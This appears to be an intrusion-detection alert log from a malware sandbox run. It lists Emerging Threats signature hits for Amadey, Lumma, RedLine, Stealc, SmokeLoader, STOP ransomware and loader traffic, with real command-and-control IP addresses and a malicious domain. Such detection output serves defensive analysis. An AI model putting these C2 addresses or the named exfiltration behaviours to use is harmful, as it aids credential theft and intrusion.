192.168.2.45.42.65.8049997802044695 07/27/23-18:27:59.408195	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49997	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050035802044695 07/27/23-18:28:05.518913	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50035	80	192.168.2.4	5.42.65.80
192.168.2.4179.25.2.9549763802036333 07/27/23-18:27:29.458086	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49763	80	192.168.2.4	179.25.2.95
192.168.2.45.42.65.8049988802044695 07/27/23-18:27:58.492556	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49988	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049785802027700 07/27/23-18:27:31.601012	TCP	2027700	ET TROJAN Amadey CnC Check-In	49785	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049921802044695 07/27/23-18:27:54.312425	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49921	80	192.168.2.4	5.42.65.80
192.168.2.4211.119.84.11149741802036333 07/27/23-18:27:23.038083	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49741	80	192.168.2.4	211.119.84.111
192.168.2.4188.114.97.749941802043206 07/27/23-18:27:55.240075	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49941	80	192.168.2.4	188.114.97.7
192.168.2.4188.114.97.750017802043206 07/27/23-18:28:02.891570	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	50017	80	192.168.2.4	188.114.97.7
192.168.2.45.42.65.8049804802027700 07/27/23-18:27:36.814093	TCP	2027700	ET TROJAN Amadey CnC Check-In	49804	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049804802044695 07/27/23-18:27:36.814093	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49804	80	192.168.2.4	5.42.65.80
192.168.2.451.89.201.494974769322043231 07/27/23-18:27:37.320025	TCP	2043231	ET TROJAN Redline Stealer TCP CnC Activity	49747	6932	192.168.2.4	51.89.201.49
192.168.2.45.42.65.8049839802044695 07/27/23-18:27:41.877546	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49839	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049893802027700 07/27/23-18:27:50.407681	TCP	2027700	ET TROJAN Amadey CnC Check-In	49893	80	192.168.2.4	5.42.65.80
192.168.2.4154.221.26.10849974802045057 07/27/23-18:27:58.955890	TCP	2045057	ET TROJAN Win32/Fabookie.ek CnC Request M4 (GET)	49974	80	192.168.2.4	154.221.26.108
192.168.2.45.42.65.8049796802044695 07/27/23-18:27:35.605498	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49796	80	192.168.2.4	5.42.65.80
192.168.2.4154.221.26.10849838802045057 07/27/23-18:27:43.353527	TCP	2045057	ET TROJAN Win32/Fabookie.ek CnC Request M4 (GET)	49838	80	192.168.2.4	154.221.26.108
192.168.2.45.42.65.8050039802027700 07/27/23-18:28:06.311162	TCP	2027700	ET TROJAN Amadey CnC Check-In	50039	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.97.750011802043206 07/27/23-18:28:01.336122	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	50011	80	192.168.2.4	188.114.97.7
192.168.2.45.42.65.8049822802044695 07/27/23-18:27:39.595818	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49822	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049935802027700 07/27/23-18:27:54.874546	TCP	2027700	ET TROJAN Amadey CnC Check-In	49935	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049805802027700 07/27/23-18:27:37.016040	TCP	2027700	ET TROJAN Amadey CnC Check-In	49805	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049911802044695 07/27/23-18:27:53.652703	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49911	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050007802044695 07/27/23-18:28:00.693339	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50007	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050010802027700 07/27/23-18:28:01.266649	TCP	2027700	ET TROJAN Amadey CnC Check-In	50010	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.97.749931802043206 07/27/23-18:27:54.683628	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49931	80	192.168.2.4	188.114.97.7
192.168.2.4188.114.97.749960802043206 07/27/23-18:27:56.876927	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49960	80	192.168.2.4	188.114.97.7
192.168.2.45.42.65.8050025802044695 07/27/23-18:28:03.989312	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50025	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050033802027700 07/27/23-18:28:05.161911	TCP	2027700	ET TROJAN Amadey CnC Check-In	50033	80	192.168.2.4	5.42.65.80
192.168.2.48.8.8.852437532045695 07/27/23-18:27:20.690297	UDP	2045695	ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org)	52437	53	192.168.2.4	8.8.8.8
192.168.2.48.8.8.864906532045695 07/27/23-18:26:58.396126	UDP	2045695	ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org)	64906	53	192.168.2.4	8.8.8.8
192.168.2.45.42.65.8049775802027700 07/27/23-18:27:30.711121	TCP	2027700	ET TROJAN Amadey CnC Check-In	49775	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049981802044695 07/27/23-18:27:58.124908	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49981	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049988802027700 07/27/23-18:27:58.492556	TCP	2027700	ET TROJAN Amadey CnC Check-In	49988	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049744802027700 07/27/23-18:27:23.390200	TCP	2027700	ET TROJAN Amadey CnC Check-In	49744	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049842802027700 07/27/23-18:27:42.354378	TCP	2027700	ET TROJAN Amadey CnC Check-In	49842	80	192.168.2.4	5.42.65.80
192.168.2.4154.221.26.10849739802045057 07/27/23-18:27:24.129411	TCP	2045057	ET TROJAN Win32/Fabookie.ek CnC Request M4 (GET)	49739	80	192.168.2.4	154.221.26.108
51.89.201.49192.168.2.46932497512046056 07/27/23-18:27:31.730010	TCP	2046056	ET TROJAN Redline Stealer Activity (Response)	6932	49751	51.89.201.49	192.168.2.4
192.168.2.45.42.65.8049959802044695 07/27/23-18:27:56.813648	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49959	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050023802027700 07/27/23-18:28:03.291973	TCP	2027700	ET TROJAN Amadey CnC Check-In	50023	80	192.168.2.4	5.42.65.80
192.168.2.48.8.8.853511532014169 07/27/23-18:27:46.771759	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	53511	53	192.168.2.4	8.8.8.8
192.168.2.45.42.65.8050000802044695 07/27/23-18:27:59.739361	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50000	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049965802044695 07/27/23-18:27:57.250470	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49965	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049778802044695 07/27/23-18:27:31.006409	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49778	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049876802044695 07/27/23-18:27:48.754883	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49876	80	192.168.2.4	5.42.65.80
192.168.2.4190.139.250.13349784802020826 07/27/23-18:27:31.776362	TCP	2020826	ET TROJAN Potential Dridex.Maldoc Minimal Executable Request	49784	80	192.168.2.4	190.139.250.133
192.168.2.45.42.65.8049800802044695 07/27/23-18:27:36.237632	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49800	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049867802044695 07/27/23-18:27:47.671311	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49867	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050003802044695 07/27/23-18:28:00.099540	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50003	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049827802027700 07/27/23-18:27:40.254584	TCP	2027700	ET TROJAN Amadey CnC Check-In	49827	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049836802027700 07/27/23-18:27:41.478855	TCP	2027700	ET TROJAN Amadey CnC Check-In	49836	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.97.749982802043206 07/27/23-18:27:58.123150	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49982	80	192.168.2.4	188.114.97.7
192.168.2.45.42.65.8049820802027700 07/27/23-18:27:39.405033	TCP	2027700	ET TROJAN Amadey CnC Check-In	49820	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049725802027700 07/27/23-18:27:21.486110	TCP	2027700	ET TROJAN Amadey CnC Check-In	49725	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.96.749915802043206 07/27/23-18:27:53.882717	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49915	80	192.168.2.4	188.114.96.7
192.168.2.45.42.65.8049902802044695 07/27/23-18:27:53.227235	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49902	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050036802027700 07/27/23-18:28:05.712903	TCP	2027700	ET TROJAN Amadey CnC Check-In	50036	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049882802044695 07/27/23-18:27:49.488669	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49882	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049944802027700 07/27/23-18:27:55.656173	TCP	2027700	ET TROJAN Amadey CnC Check-In	49944	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049787802044695 07/27/23-18:27:31.828761	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49787	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049991802027700 07/27/23-18:27:58.716334	TCP	2027700	ET TROJAN Amadey CnC Check-In	49991	80	192.168.2.4	5.42.65.80
192.168.2.4211.171.233.12949732802036333 07/27/23-18:27:22.491909	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49732	80	192.168.2.4	211.171.233.129
192.168.2.45.42.65.8049848802044695 07/27/23-18:27:46.523855	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49848	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049759802044695 07/27/23-18:27:29.063771	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49759	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049889802044695 07/27/23-18:27:50.056615	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49889	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050016802044695 07/27/23-18:28:02.730584	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50016	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.97.749922802043206 07/27/23-18:27:54.313460	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49922	80	192.168.2.4	188.114.97.7
192.168.2.45.42.65.8049730802044695 07/27/23-18:27:22.123798	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49730	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049895802044695 07/27/23-18:27:50.729753	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49895	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049984802044695 07/27/23-18:27:58.309871	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49984	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049813802044695 07/27/23-18:27:38.592958	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49813	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.96.749990802043206 07/27/23-18:27:58.638605	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49990	80	192.168.2.4	188.114.96.7
192.168.2.4188.114.97.749963802043206 07/27/23-18:27:57.066248	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49963	80	192.168.2.4	188.114.97.7
192.168.2.451.89.201.494974769322046045 07/27/23-18:27:24.178390	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Related (MC-NMF Authorization)	49747	6932	192.168.2.4	51.89.201.49
192.168.2.45.42.65.8049896802027700 07/27/23-18:27:51.712468	TCP	2027700	ET TROJAN Amadey CnC Check-In	49896	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049860802044695 07/27/23-18:27:46.706954	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49860	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049938802027700 07/27/23-18:27:55.077331	TCP	2027700	ET TROJAN Amadey CnC Check-In	49938	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049766802027700 07/27/23-18:27:29.628346	TCP	2027700	ET TROJAN Amadey CnC Check-In	49766	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049808802027700 07/27/23-18:27:37.808371	TCP	2027700	ET TROJAN Amadey CnC Check-In	49808	80	192.168.2.4	5.42.65.80
192.168.2.48.8.8.851320532014169 07/27/23-18:27:49.107279	UDP	2014169	ET DNS Query for .su TLD (Soviet Union) Often Malware Related	51320	53	192.168.2.4	8.8.8.8
192.168.2.4154.221.26.10850029802045057 07/27/23-18:28:05.559997	TCP	2045057	ET TROJAN Win32/Fabookie.ek CnC Request M4 (GET)	50029	80	192.168.2.4	154.221.26.108
192.168.2.45.42.65.8049817802044695 07/27/23-18:27:38.986742	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49817	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049878802044695 07/27/23-18:27:49.134079	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49878	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049801802027700 07/27/23-18:27:36.472870	TCP	2027700	ET TROJAN Amadey CnC Check-In	49801	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049820802044695 07/27/23-18:27:39.405033	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49820	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049914802027700 07/27/23-18:27:53.847830	TCP	2027700	ET TROJAN Amadey CnC Check-In	49914	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049961802044695 07/27/23-18:27:57.062232	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49961	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049764802027700 07/27/23-18:27:29.334695	TCP	2027700	ET TROJAN Amadey CnC Check-In	49764	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049900802044695 07/27/23-18:27:52.947506	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49900	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049737802044695 07/27/23-18:27:22.664584	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49737	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049863802044695 07/27/23-18:27:47.087600	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49863	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049782802027700 07/27/23-18:27:31.319911	TCP	2027700	ET TROJAN Amadey CnC Check-In	49782	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049880802027700 07/27/23-18:27:49.318195	TCP	2027700	ET TROJAN Amadey CnC Check-In	49880	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050031802027700 07/27/23-18:28:04.797949	TCP	2027700	ET TROJAN Amadey CnC Check-In	50031	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050032802044695 07/27/23-18:28:04.981227	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50032	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049862802027700 07/27/23-18:27:46.899338	TCP	2027700	ET TROJAN Amadey CnC Check-In	49862	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049834802027700 07/27/23-18:27:41.045390	TCP	2027700	ET TROJAN Amadey CnC Check-In	49834	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.97.749996802043206 07/27/23-18:27:58.993636	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49996	80	192.168.2.4	188.114.97.7
192.168.2.45.42.65.8049797802027700 07/27/23-18:27:35.995165	TCP	2027700	ET TROJAN Amadey CnC Check-In	49797	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049895802027700 07/27/23-18:27:50.729753	TCP	2027700	ET TROJAN Amadey CnC Check-In	49895	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049835802044695 07/27/23-18:27:41.278383	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49835	80	192.168.2.4	5.42.65.80
192.168.2.4193.106.174.12549851802044244 07/27/23-18:27:44.574972	TCP	2044244	ET TROJAN Win32/Stealc Requesting browsers Config from C2	49851	80	192.168.2.4	193.106.174.125
192.168.2.45.42.65.8049957802027700 07/27/23-18:27:56.537515	TCP	2027700	ET TROJAN Amadey CnC Check-In	49957	80	192.168.2.4	5.42.65.80
192.168.2.451.89.201.494975169322046045 07/27/23-18:27:26.570108	TCP	2046045	ET TROJAN [ANY.RUN] RedLine Stealer Related (MC-NMF Authorization)	49751	6932	192.168.2.4	51.89.201.49
192.168.2.45.42.65.8049896802044695 07/27/23-18:27:51.712468	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49896	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050028802027700 07/27/23-18:28:04.420774	TCP	2027700	ET TROJAN Amadey CnC Check-In	50028	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049877802027700 07/27/23-18:27:48.944804	TCP	2027700	ET TROJAN Amadey CnC Check-In	49877	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.96.749924802043206 07/27/23-18:27:54.448843	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49924	80	192.168.2.4	188.114.96.7
192.168.2.4154.221.26.10849925802045057 07/27/23-18:27:55.858359	TCP	2045057	ET TROJAN Win32/Fabookie.ek CnC Request M4 (GET)	49925	80	192.168.2.4	154.221.26.108
192.168.2.45.42.65.8049994802044695 07/27/23-18:27:58.978417	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49994	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.97.749917802043206 07/27/23-18:27:53.994431	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49917	80	192.168.2.4	188.114.97.7
192.168.2.45.42.65.8049887802027700 07/27/23-18:27:49.864302	TCP	2027700	ET TROJAN Amadey CnC Check-In	49887	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050037802044695 07/27/23-18:28:05.896049	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50037	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.96.749970802043206 07/27/23-18:27:57.484583	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49970	80	192.168.2.4	188.114.96.7
192.168.2.45.42.65.8049806802027700 07/27/23-18:27:37.514205	TCP	2027700	ET TROJAN Amadey CnC Check-In	49806	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049951802044695 07/27/23-18:27:56.045492	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49951	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049792802027700 07/27/23-18:27:34.959840	TCP	2027700	ET TROJAN Amadey CnC Check-In	49792	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.96.749939802043206 07/27/23-18:27:55.072377	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49939	80	192.168.2.4	188.114.96.7
192.168.2.45.42.65.8049727802044695 07/27/23-18:27:21.756307	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49727	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049755802044695 07/27/23-18:27:27.957342	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49755	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049942802027700 07/27/23-18:27:55.350331	TCP	2027700	ET TROJAN Amadey CnC Check-In	49942	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050003802027700 07/27/23-18:28:00.099540	TCP	2027700	ET TROJAN Amadey CnC Check-In	50003	80	192.168.2.4	5.42.65.80
51.89.201.49192.168.2.46932499342043234 07/27/23-18:28:02.892495	TCP	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	6932	49934	51.89.201.49	192.168.2.4
192.168.2.45.42.65.8050038802027700 07/27/23-18:28:06.119097	TCP	2027700	ET TROJAN Amadey CnC Check-In	50038	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049809802044695 07/27/23-18:27:37.995741	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49809	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049870802027700 07/27/23-18:27:47.871063	TCP	2027700	ET TROJAN Amadey CnC Check-In	49870	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049787802027700 07/27/23-18:27:31.828761	TCP	2027700	ET TROJAN Amadey CnC Check-In	49787	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049929802027700 07/27/23-18:27:54.687517	TCP	2027700	ET TROJAN Amadey CnC Check-In	49929	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049810802044695 07/27/23-18:27:38.197127	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49810	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049845802044695 07/27/23-18:27:42.891419	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49845	80	192.168.2.4	5.42.65.80
51.89.201.49192.168.2.46932497472046056 07/27/23-18:27:29.373492	TCP	2046056	ET TROJAN Redline Stealer Activity (Response)	6932	49747	51.89.201.49	192.168.2.4
192.168.2.45.42.65.8049769802027700 07/27/23-18:27:29.903197	TCP	2027700	ET TROJAN Amadey CnC Check-In	49769	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049965802027700 07/27/23-18:27:57.250470	TCP	2027700	ET TROJAN Amadey CnC Check-In	49965	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049947802027700 07/27/23-18:27:55.843244	TCP	2027700	ET TROJAN Amadey CnC Check-In	49947	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.96.749993802043206 07/27/23-18:27:58.810113	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49993	80	192.168.2.4	188.114.96.7
192.168.2.45.42.65.8050019802044695 07/27/23-18:28:03.107194	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50019	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049827802044695 07/27/23-18:27:40.254584	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49827	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049839802027700 07/27/23-18:27:41.877546	TCP	2027700	ET TROJAN Amadey CnC Check-In	49839	80	192.168.2.4	5.42.65.80
179.25.2.95192.168.2.480497402036335 07/27/23-18:27:23.640944	TCP	2036335	ET TROJAN Win32/Filecoder.STOP Variant Public Key Download	80	49740	179.25.2.95	192.168.2.4
192.168.2.45.42.65.8049745802044695 07/27/23-18:27:23.742061	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49745	80	192.168.2.4	5.42.65.80
192.168.2.4154.221.26.10849871802045057 07/27/23-18:27:49.552132	TCP	2045057	ET TROJAN Win32/Fabookie.ek CnC Request M4 (GET)	49871	80	192.168.2.4	154.221.26.108
192.168.2.45.42.65.8049759802027700 07/27/23-18:27:29.063771	TCP	2027700	ET TROJAN Amadey CnC Check-In	49759	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049824802027700 07/27/23-18:27:39.782384	TCP	2027700	ET TROJAN Amadey CnC Check-In	49824	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049742802044695 07/27/23-18:27:23.104290	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49742	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049968802044695 07/27/23-18:27:57.470848	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49968	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049775802044695 07/27/23-18:27:30.711121	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49775	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049825802044695 07/27/23-18:27:40.018920	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49825	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049860802027700 07/27/23-18:27:46.706954	TCP	2027700	ET TROJAN Amadey CnC Check-In	49860	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050009802044695 07/27/23-18:28:01.040405	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50009	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8050005802027700 07/27/23-18:28:00.408770	TCP	2027700	ET TROJAN Amadey CnC Check-In	50005	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.97.749973802043206 07/27/23-18:27:57.643806	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49973	80	192.168.2.4	188.114.97.7
192.168.2.45.42.65.8050012802044695 07/27/23-18:28:01.740311	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	50012	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049938802044695 07/27/23-18:27:55.077331	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49938	80	192.168.2.4	5.42.65.80
192.168.2.4103.100.211.21849712802839238 07/27/23-18:27:08.184137	TCP	2839238	ETPRO TROJAN Blackmoon CnC Activity	49712	80	192.168.2.4	103.100.211.218
51.89.201.49192.168.2.46932497472043234 07/27/23-18:27:24.213349	TCP	2043234	ET MALWARE Redline Stealer TCP CnC - Id1Response	6932	49747	51.89.201.49	192.168.2.4
192.168.2.48.8.8.853370532045695 07/27/23-18:27:23.940440	UDP	2045695	ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org)	53370	53	192.168.2.4	8.8.8.8
192.168.2.45.42.65.8049819802044695 07/27/23-18:27:39.203190	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49819	80	192.168.2.4	5.42.65.80
192.168.2.4188.114.96.749985802043206 07/27/23-18:27:58.308299	TCP	2043206	ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2	49985	80	192.168.2.4	188.114.96.7
192.168.2.45.42.65.8050013802027700 07/27/23-18:28:02.128391	TCP	2027700	ET TROJAN Amadey CnC Check-In	50013	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049812802044695 07/27/23-18:27:38.391365	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49812	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049926802027700 07/27/23-18:27:54.503258	TCP	2027700	ET TROJAN Amadey CnC Check-In	49926	80	192.168.2.4	5.42.65.80
192.168.2.45.42.65.8049847802044695 07/27/23-18:27:43.126108	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49847	80	192.168.2.4	5.42.65.80
192.168.2.4190.139.250.13349752802036333 07/27/23-18:27:26.988076	TCP	2036333	ET TROJAN Win32/Vodkagats Loader Requesting Payload	49752	80	192.168.2.4	190.139.250.133
192.168.2.45.42.65.8049788802044695 07/27/23-18:27:32.742218	TCP	2044695	ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1	49788	80	192.168.2.4	5.42.65.80
